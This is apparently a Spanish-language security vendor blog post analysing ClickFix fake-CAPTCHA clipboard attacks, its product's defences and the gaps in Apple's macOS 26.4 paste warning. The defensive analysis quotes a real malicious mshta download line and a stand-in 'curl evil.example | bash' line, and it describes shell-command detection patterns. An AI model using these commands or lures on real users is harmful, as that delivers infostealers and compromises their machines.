Volver a todas las publicaciones
Publicado el · por Renaud Deraison

El portapapeles es el exploit — dónde deja ClickFix a todos los defensores

Una CAPTCHA falsa escribe una línea de PowerShell en el portapapeles. El usuario pulsa Win+R y pega. Sin escape del sandbox, sin día cero, sin binario firmado — el humano es el exploit. Esto es lo que enviamos hoy contra él, dónde siguen estando las brechas y qué acertó y qué no Apple en macOS 26.4.

Una página se hace pasar por una CAPTCHA. Mientras el usuario lee las instrucciones de «no soy un robot», la página escribe silenciosamente un comando de PowerShell en el portapapeles. Después le pide al usuario que pulse Win+R y pegue «para verificar». El humano es el exploit. Esto es ClickFix, y es genuinamente difícil de detener — no porque sea ingenioso, sino porque rodea casi todas las defensas para las que se construyó un navegador.

El 9 de abril de 2026, Rapid7 observó a un usuario visitar lo que parecía una página de descarga de la aplicación de escritorio Claude de Anthropic. La página le pedía que «verificara que era humano». Cuando hizo clic en el botón, la página puso la siguiente cadena en el portapapeles:

mshta https://download-version.1-5-8.com/claude.msixbundle

Luego le dijo que pulsara Win+R y pegara. El usuario lo hizo. mshta.exe es un binario de Windows que ejecuta HTML Applications, y se envía con cada versión del sistema operativo desde hace más de veinte años. Lo que mshta ejecutó fue una cadena que terminó con un infostealer corriendo en el host. No se tocó ningún bug del navegador. No se saltó ninguna verificación de firma de código. No apareció ningún aviso de elevación. El navegador hizo exactamente lo que el usuario le pidió; el sistema operativo hizo exactamente lo que el usuario le pidió. El atacante simplemente preguntó a través de ambos, usando el portapapeles como cable.

Cuatro días después, Booking.com reveló que su red de socios hoteleros había sido golpeada por la misma técnica —seguida por Microsoft como Storm-1865— con una carga final de XWorm y VenomRAT. La propia Microsoft, en un análisis anterior, atribuyó el cuarenta y siete por ciento de las intrusiones de acceso inicial en 2025 a este único patrón. Los socios de Booking.com no hicieron clic en un adjunto malicioso. No descargaron un ejecutable. Pulsaron Win+R y pegaron algo. Eso es todo lo que hace falta ahora.

Por qué funciona ClickFix.

La cadena de ataque cabe en una servilleta.

EN EL NAVEGADOREN EL HUMANOEN EL HOST1CAPTCHA falsa«no soy un robot»igual que cualquier otra2Escritura en portapapelesnavigator.clipboardmshta https://...3El usuario pulsa Win+Ro Terminal en macOS«para verificar que eres humano»4PegarCtrl+VIntro5El host ejecutala cargainfostealer, RATDÓNDE PODRÍA INTERVENIR UNA CAPA DE DEFENSAEn la etapa 1 · filtros de URL/reputación — derrotados por dominios recientes, typosquats, subdominios SaaS de confianzaEn la etapa 2 · hookear navigator.clipboard, comparar la escritura con patrones de comandos de shell, avisar o bloquearEn la etapa 3-4 · el SO del host inspecciona qué se está pegando en Terminal o en Ejecutar — macOS 26.4 hace esto, parcialmenteEn la etapa 5 · EDR, AMSI, antivirus — llegan los últimos, contra un comando que el usuario decidió ejecutar
La kill chain de ClickFix. La página es una página web normal. El portapapeles es un portapapeles normal. Win+R es una combinación de teclas normal. mshta.exe es una utilidad de Windows normal. Nada en esta cadena es un exploit en el sentido clásico — el exploit es la secuencia de operaciones ordinarias realizadas por el humano en medio.

Todas las defensas a las que la gente suele recurrir ya han perdido para cuando la carga se ejecuta. ¿El filtro de reputación de URL? El atacante registró download-version.1-5-8.com ayer. ¿El sandbox del navegador? La carga no intenta escapar del navegador — simplemente le pide al humano que la saque. ¿La verificación de firma de código sobre el ejecutable? mshta.exe es un binario firmado por Microsoft. ¿El aviso de elevación? mshta no necesita elevación para descargar y ejecutar un HTA. ¿El agente de endpoint? Ve que el proceso padre es explorer.exe lanzado por una pulsación de tecla del usuario, lo cual es indistinguible de que el usuario ejecute literalmente cualquier otra cosa en su computadora.

ClickFix toma la única parte de la computadora que la industria no ha sido capaz de parchar —la persona sentada delante de ella— y la convierte en la etapa de ejecución. Por eso está en todas partes ahora. La campaña Storm-1865 usó un señuelo con la marca Booking.com. El caso de Rapid7 usó un señuelo de instalador de Claude. Los secuestros de cuentas de creadores de Facebook llevan meses usando la misma técnica. El señuelo cambia cada semana; el mecanismo no.

El mismo ataque, dirigido a macOS.

La captura de Rapid7, la brecha de Booking.com y los secuestros de creadores de Facebook apuntaban todos a hosts Windows. Ese es un sesgo real en los datos de esta semana —la industria de ClickFix es, ahora mismo, mayoritariamente una industria Windows— pero es una propiedad del mercado, no una propiedad del ataque. ClickFix es una técnica de portapapeles y teclado. Le da igual a qué sistema operativo esté conectado el teclado.

En macOS las sustituciones son mecánicas. Win+R se convierte en Cmd+Space y Terminal — o últimamente, Script Editor. La línea de mshta se convierte en curl -s https://evil.example | bash, o en una línea osascript -e, o en un AppleScript codificado en base64 con do shell script. La CAPTCHA falsa sigue siendo la CAPTCHA falsa; la escritura en el portapapeles sigue siendo la escritura en el portapapeles; el script de «verifica que eres humano» de la página cambia dos frases. Bitdefender documentó señuelos de ClickFix dirigidos a Mac que entregaban Atomic Stealer a principios de este año, y —como veremos enseguida— el hecho de que Apple sintiera la necesidad de enviar una respuesta a nivel de plataforma en macOS 26.4 es la señal más clara posible de que la variante para Mac no es hipotética.

Para Bromure, este es el caso que soporta la carga. Bromure corre en macOS. Cada usuario al que enviamos es un objetivo de ClickFix en macOS antes que cualquier otra cosa. Cuando hablamos en la siguiente sección de aislamiento del portapapeles y de phishing-guard, no estamos hablando de una curiosidad de Windows — estamos hablando de una técnica que ya ha aterrizado en el sistema operativo real de nuestros usuarios, y que la plataforma que eligieron está intentando, de forma imperfecta, parchar.

La postura honesta de Bromure contra ClickFix.

Nos gustaría decirte que Bromure previene ClickFix. No lo hace. Lo que Bromure hace es tomar un problema que antes no era de nadie —el portapapeles como cable controlado por el atacante entre el navegador y el host— y ponerlo detrás de dos capas en las que estamos trabajando activamente, una arquitectónica y otra basada en un plugin. Ninguna es una respuesta terminada. Ambas son mejores que nada. Aquí está exactamente dónde están hoy.

Capa uno — aislamiento del portapapeles como opción, no por defecto.

Bromure ejecuta cada pestaña dentro de su propia VM Linux desechable. La página corre ahí; el navegador corre ahí; la escritura de navigator.clipboard desde la CAPTCHA falsa ocurre ahí. La pregunta es a qué está conectado el portapapeles de la VM. Por defecto, hoy, está conectado al portapapeles del host macOS — porque la mayor parte del tiempo el portapapeles es cómo copias una URL desde el navegador a Mensajes, o pegas una contraseña desde 1Password en un formulario de inicio de sesión. Romper eso por defecto haría que el navegador fuera hostil de usar.

El modo de aislamiento total invierte ese valor por defecto. En aislamiento total, el puente del portapapeles entre la VM y el host macOS queda cortado. Una página dentro de la pestaña todavía puede escribir en el portapapeles de su propia VM —y el usuario todavía puede pegar dentro del terminal Linux de esa VM si realmente lo quiere— pero el portapapeles del host en el que el usuario pega en Win+R, o en Terminal.app, o en Spotlight, es un portapapeles diferente. La cadena mshta https://... de la página nunca llega al buffer de pegado del host. La cadena de ClickFix se trunca en la etapa 2.

Por defecto · compartición del portapapeles activadaelegido por usabilidad — la mayoría necesita copiar/pegar host ↔ pestañaVM DE PESTAÑA · LinuxPágina CAPTCHA falsanavigator.clipboard.writeText(…)mshta https://…HOST macOSmshta https://…portapapeles del hostDiálogo EjecutarLA CARGA SE EJECUTApuente de portapapeles (activo)Aislamiento total · compartición del portapapeles desactivadaopcional — pierdes la comodidad de copiar/pegar a través de la fronteraVM DE PESTAÑA · LinuxPágina CAPTCHA falsanavigator.clipboard.writeText(…)mshta https://…solo portapapeles de la VMHOST macOS(sin cambios)portapapeles del hostDiálogo Ejecutarnada que pegarcortadoEl aislamiento total es un interruptor, no un valor por defecto. No vamos a fingir lo contrario.
Dos posturas, la misma pestaña, la misma página. A la izquierda, con compartición del portapapeles activada (el valor por defecto hoy): la escritura de la página aterriza en el portapapeles del host y el pegado del usuario con Win+R la ejecuta. A la derecha, aislamiento total: el portapapeles de la VM y el portapapeles del host son buffers distintos, y la cadena del ataque nunca cruza. La contrapartida es real — copiar una URL de una pestaña a tu mensajería deja de funcionar.

La lectura honesta sobre el aislamiento total: es una respuesta arquitectónica limpia a ClickFix para los usuarios que la quieren, y es un impuesto de usabilidad que no estamos dispuestos a enviar como valor por defecto para todo el mundo. La mayoría de la gente copia y pega docenas de veces al día entre su navegador y sus notas, o su mensajería, o un documento en el que está trabajando. Hacer que ese camino fuera «está desactivado, ve a buscar la opción» para recuperar el copiar/pegar significaría que la mayoría de los usuarios lo vuelven a activar en una semana — y entonces les hemos enseñado el valor de compartir el portapapeles y el coste de la seguridad de un solo movimiento. Esa no es la lección que queremos que aprendan.

Así que el aislamiento total está ahí para el usuario que lo quiera, documentado, y es lo más fuerte que la arquitectura tiene que decir sobre ClickFix. No es lo que la mayoría de los usuarios van a usar.

Capa dos — el plugin anti-phishing, hoy y mañana.

Para la postura por defecto —con el puente del portapapeles activo— enviamos una segunda línea de defensa en el componente anti-phishing de Bromure, que llamamos phishing-guard. Merece la pena describir lo que hace, porque la mayor parte de la industria no lo hace, y porque pensamos que es el principio de la respuesta correcta en lugar del final.

Phishing-guard hookea los tres puntos de entrada de escritura en el portapapeles dentro del Chromium de la VM de pestaña: las APIs modernas navigator.clipboard.writeText y clipboard.write, y el camino heredado document.execCommand('copy') que las páginas más antiguas todavía usan. Siempre que una página escribe texto en el portapapeles, phishing-guard puede verlo antes de que lo haga el portapapeles del host.

Entonces ejecuta dos pruebas en paralelo. Primero, compara el contenido del portapapeles con un conjunto de expresiones regulares de comandos de shell — mantenemos diez, afinadas sobre las cargas que realmente vemos en la práctica: invocaciones de powershell, patrones mshta https://, tuberías curl ... | bash, blobs de PowerShell codificados en base64, certutil -urlcache, trucos con rundll32 y algunos otros. Segundo, escanea la página renderizada en busca de patrones de instrucciones que le digan al usuario que ejecute el contenido del portapapeles — trece de ellos, multilingües — cosas como «Pulsa Win+R», «abre Terminal», «pega para verificar que eres humano», en inglés, francés, español, alemán, portugués, italiano, neerlandés, polaco, japonés, coreano, chino, árabe y ruso.

Cuando ambos se disparan —una escritura en el portapapeles que parece un comando de shell, sobre una página cuyo texto está instruyendo al usuario para que lo pegue— phishing-guard envía la carga candidata a un veredicto de modelo de lenguaje y muestra un aviso dentro del navegador si el veredicto es hostil.

Dos limitaciones honestas incluso cuando esto funciona como está diseñado: la llamada al LLM tiene un coste de latencia, así que un usuario rápido puede pegar antes de que vuelva el veredicto; y regex-más-texto-de-página atrapa la forma de ClickFix pero no todas las variantes (una página que instruya al usuario verbalmente mediante un vídeo incrustado en lugar de mediante texto se escabulliría del escaneo de patrones hoy). Estamos trabajando activamente en endurecer el punto de bloqueo y reducir la ventana de detección. Son problemas de ingeniería con respuestas conocidas; simplemente no hemos terminado con ellos.

Lo que Apple envió en macOS 26.4 — y dónde se queda corto.

El 24 de marzo de 2026, Apple envió la misma forma de idea a nivel de sistema operativo. macOS 26.4 añadió un diálogo de aviso al pegar a la Terminal.app de primera parte: cuando el usuario pega en una ventana de Terminal, macOS inspecciona el portapapeles y, bajo ciertas condiciones, muestra un diálogo bloqueante que dice «Posible malware. Pegado bloqueado. Tu Mac no ha sufrido daños. Los estafadores a menudo animan a pegar texto en Terminal para intentar dañar tu Mac o comprometer tu privacidad.» Este es un buen paso, y nos alegra que Apple lo haya dado. También creemos que merece la pena ser precisos sobre lo que es y lo que no es.

Aviso de pegado de macOS 26.4 — coberturaCUBIERTOTerminal.appen macOS 26.4+Matiz · el avisose dispara una vez por app origen;un usuario que vuelve con«permitir siempre» pulsadovuelve a la casilla de salida.Bien. No basta.NO CUBIERTOOtros terminalesiTerm2AlacrittyWarpKitty, WezTerm, …El aviso está enla propia Terminal.app,no en macOS.NO CUBIERTOScript EditorAppleScript / osascriptJamf Threat Labs informóde que los operadores de Atomic Stealerpivotaron a Script Editorpocos días tras laversión 26.4.Bypass activo.NO CUBIERTOWindowsWin+R, mshta,PowerShellLa mayoría de los señuelosde ClickFix apuntan ahosts Windows.SO equivocado.
Qué cubre el aviso de pegado de macOS 26.4 de Apple, y qué no. La primera columna es la superficie de ataque contra la que se diseñó — Safari escribiendo un comando de shell, el usuario pegando en Terminal.app. Las otras columnas son las superficies hacia las que los atacantes ya están pivotando: terminales no-Apple, Script Editor y la totalidad de Windows, que es donde aterriza la mayoría de ClickFix en primer lugar.

Tres limitaciones que merece la pena nombrar. La primera es que el aviso vive dentro de Terminal.app, no dentro de la capa de pasteboard de macOS. iTerm2, Alacritty, Warp, Kitty y cada otro terminal que la comunidad de desarrolladores de Mac realmente usa no heredan la comprobación. Eso no es un descuido de Apple — es una decisión de alcance — pero significa que la base de usuarios con más probabilidad de pegar un comando de shell aleatorio, los ingenieros con su propia preferencia de terminal, es exactamente la base de usuarios a la que esta función no protege.

La segunda es Script Editor. El 8 de abril de 2026, Jamf Threat Labs informó de que los operadores de Atomic Stealer ya habían cambiado su script de ingeniería social de ClickFix de «abre Terminal y pega esto» a «abre Script Editor y pega esto», porque Script Editor ejecuta AppleScript y comandos de shell vía do shell script y no está cubierto por el aviso de 26.4. Thijs Xhaflaire, de Jamf, lo expuso con la mayor claridad posible: «al desplazar la ejecución desde Terminal a Script Editor, el atacante conserva un mecanismo de entrega familiar mientras cambia silenciosamente cómo y dónde se ejecuta realmente el comando.» La industria tardó dos semanas en rodear la mitigación. Eso no es una crítica a Apple; es una crítica a la forma del problema. No se puede resolver ClickFix parchando un solo destino.

La tercera limitación es la más grande y la menos discutida: macOS 26.4 protege a los usuarios de Mac. La industria real de ClickFix —la estructura de afiliados de Storm-1865 detrás de la brecha de Booking.com, la campaña del instalador falso de Claude y el grueso de la cifra del cuarenta y siete por ciento de acceso inicial en 2025— envía cargas para Windows, usa Win+R, invoca mshta y PowerShell, y aterriza en hosts Windows. Apple puede proteger Terminal.app a la perfección y mover cero agujas sobre esa flota. Para los post-mortems de ClickFix que leerás este año, el sistema operativo con el aviso de pegado no suele ser el que estaba ejecutando la víctima.

Qué acertó Apple

Tratar portapapeles-a-comando-de-shell como una ruta de pegado relevante para la seguridad, e inspeccionarla en la capa del SO donde cada app del sistema obtiene el beneficio. Ese planteamiento es correcto. El aviso único, el diálogo con marca, el texto «tu Mac no ha sufrido daños» — todo bien hecho. Este es el primer reconocimiento a nivel de plataforma de que el portapapeles es un canal de amenaza.

Por qué no es toda la respuesta

La comprobación está en Terminal.app, no en el subsistema de pasteboard. Es de un solo disparo. Script Editor ya es un bypass. Y la población de víctimas para la que se diseñó la función es una pequeña fracción de la población a la que ClickFix realmente apunta. Apple envió una buena función. No envió una solución, y no creemos que Apple afirme haberlo hecho.

Qué puede hacer el navegador de forma única

El navegador ve la página que está escribiendo en el portapapeles y el texto que la página está usando para instruir al usuario. El sistema operativo solo ve el final de la cadena. Dos señales separadas —el lugar de la escritura en el portapapeles y el texto de ingeniería social de la página— se combinan en un veredicto al que el SO por sí solo no tiene acceso. Ese es el argumento para que el navegador haga parte de este trabajo.

Qué no puede alcanzar el navegador

Una vez que el usuario pega en una Terminal real, un diálogo Ejecutar real, un Script Editor real, la carga ha cruzado fuera de cualquier cosa que el navegador pueda ver. El host tiene que cargar con su parte. macOS 26.4 es el host cargando con su parte, en los lugares que eligió cubrir. Windows tiene que hacer lo mismo. Este es un problema que necesita ambos extremos.

La tesis que estamos dispuestos a defender.

Durante veinte años la industria ha respondido a los ataques de ingeniería social con pósteres. «No hagas clic en enlaces sospechosos.» «Ten cuidado con los intentos de phishing.» «Piensa antes de pegar.» Cuando un usuario cae en ClickFix, la respuesta pública suele ser alguna variación de el usuario debería haberlo sabido — artículos que explican cómo detectar la CAPTCHA falsa, módulos de formación, cuestionarios anuales de concienciación en seguridad, culpa desplazada cortésmente hacia abajo. La suposición bajo todo ello es que el phishing es, en el fondo, un problema humano, y que la capa técnica ha hecho lo que ha podido.

No lo creemos. Creemos que ClickFix, y cualquier otra técnica de ingeniería social basada en portapapeles y teclado, es un problema técnico del que la capa técnica ha rehusado sistemáticamente hacerse dueña. El portapapeles es un bus de mensajes no autenticado entre cualquier página web y cualquier otra app del sistema operativo. El diálogo Ejecutar acepta cualquier cadena. La Terminal ejecuta lo que caiga en ella. Ninguno de estos diseños fue auditado frente al atacante que el portapapeles tiene ahora realmente. Ninguno de ellos se va a arreglar solo.

La respuesta correcta es trabajo — dentro de los navegadores, dentro de los sistemas operativos, dentro de la cooperación del ecosistema — para hacer que el camino portapapeles-a-comando-de-shell sea algo en lo que la máquina esté dispuesta a intervenir en nombre del usuario. macOS 26.4 es un paso; Windows necesita el suyo. phishing-guard es un paso; bloquear en duro la escritura en el portapapeles, enviar un aviso específico del portapapeles en lugar de un spinner genérico y reducir la latencia del veredicto hasta donde gane a un pegado rápido — esos son los siguientes pasos. El modo de aislamiento total es un paso; hacer más fácil convivir con él en el día a día es el siguiente.

Nada de esto es un póster. Nada de esto le pide al usuario que reconozca una CAPTCHA falsa más rápido, o que «pase el ratón por encima de los enlaces», o que se convierta en un experto en seguridad para abrir una pestaña del navegador. Creemos que la gente no debería tener que convertirse en experta en seguridad para abrir una pestaña del navegador. La tecnología rompió esto. La tecnología debería arreglarlo.

La hoja de ruta de Bromure contra ClickFix es la forma de esa convicción. Lo que enviamos hoy es una defensa parcial con dos palancas — una fuerte que cuesta usabilidad, y una más blanda a la que le estamos sacando dientes tan rápido como podemos. Lo que enviemos el año que viene será más afilado. Y seguiremos diciendo lo que la función hace y lo que no hace, en posts como este, porque la alternativa —enviar una página de marketing limpia con una marca de verificación junto a «ClickFix»— es exactamente el tipo de cosa que llevó a la industria a un lugar donde Storm-1865 puede hacer que el cuarenta y siete por ciento del acceso inicial de 2025 parezca fácil.